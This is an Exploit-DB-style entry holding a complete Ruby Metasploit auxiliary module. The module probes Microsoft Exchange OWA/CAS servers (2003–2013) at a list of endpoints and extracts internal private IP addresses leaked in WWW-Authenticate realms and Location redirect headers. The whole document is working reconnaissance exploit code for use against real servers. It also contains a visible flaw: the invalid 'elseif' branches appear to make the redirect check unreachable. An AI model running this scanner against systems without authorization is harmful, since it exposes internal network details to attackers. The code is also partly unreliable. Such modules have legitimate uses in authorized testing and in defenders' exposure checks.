# Exploit Title: Microsoft Exchange IIS HTTP Internal IP Disclosure Vulnerability
# Google Dork: NA
# Date: 08/01/2014
# Exploit Author: Nate Power
# Vendor Homepage: microsoft.com
# Software Link: NA
# Version: Exchange OWA 2003, Exchange CAS 2007/2010/2013
# Tested on: Exchange OWA 2003, Exchange CAS 2007/2010/2013
# CVE : NA
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Outlook Web App (OWA) / Client Access Server (CAS) IIS HTTP Internal IP Disclosure',
'Description' => %q{
This module tests vulnerable IIS HTTP header file paths on Microsoft Exchange OWA 2003, CAS 2007, 2010, 2013 servers.
},
'Author' =>
[
'Nate Power'
],
'DisclosureDate' => 'Aug 01 2014',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'SSL' => true
}
)
register_options(
[
OptInt.new('TIMEOUT', [ true, "HTTP connection timeout", 10]),
OptInt.new('RPORT', [ true, "The target port", 443]),
], self.class)
end
def run_host(target_host)
rhost = target_host
print_status("#{msg} Checking HTTP headers")
get_ip_extract
end
def get_ip_extract
urls = ["/Microsoft-Server-ActiveSync/default.eas",
"/Microsoft-Server-ActiveSync",
"/Autodiscover/Autodiscover.xml",
"/Autodiscover",
"/Exchange",
"/Rpc",
"/EWS/Exchange.asmx",
"/EWS/Services.wsdl",
"/EWS",
"/ecp",
"/OAB",
"/OWA",
"/aspnet_client",
"/PowerShell"]
result = nil
urls.each do |url|
begin
res = send_request_cgi({
'version' => "1.0",
'uri' => "#{url}",
'method' => 'GET',
'vhost' => ''
}, timeout = datastore['TIMEOUT'])
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
print_error("#{msg} HTTP Connection Failed")
next
end
if not res
print_error("#{msg} HTTP Connection Timeout")
next
end
if res and res.code == 401 and (match = res['WWW-Authenticate'].match(/Basic realm=\"(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\"/i))
result = match.captures[0]
print_status("#{msg} Status Code: 401 response")
print_status("#{msg} Found Path: " + url )
print_good("#{msg} Found target internal IP address: " + result)
return result
elseif
print_warning("#{msg} No internal address found")
next
end
if res and (res.code > 300 and res.code < 310) and (match = res['Location'].match(/^http[s]:\/\/(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\//i))
result = match.captures[0]
print_status("#{msg} Status Code: #{res.code} response")
print_status("#{msg} Found Path: " + url )
print_good("#{msg} Found target internal IP address: " + result)
return result
elseif
print_warning("#{msg} No internal address found")
next
end
end
if result.nil?
print_warning("#{msg} Nothing found")
end
return result
end
def msg
"#{rhost}:#{rport} -"
end
end
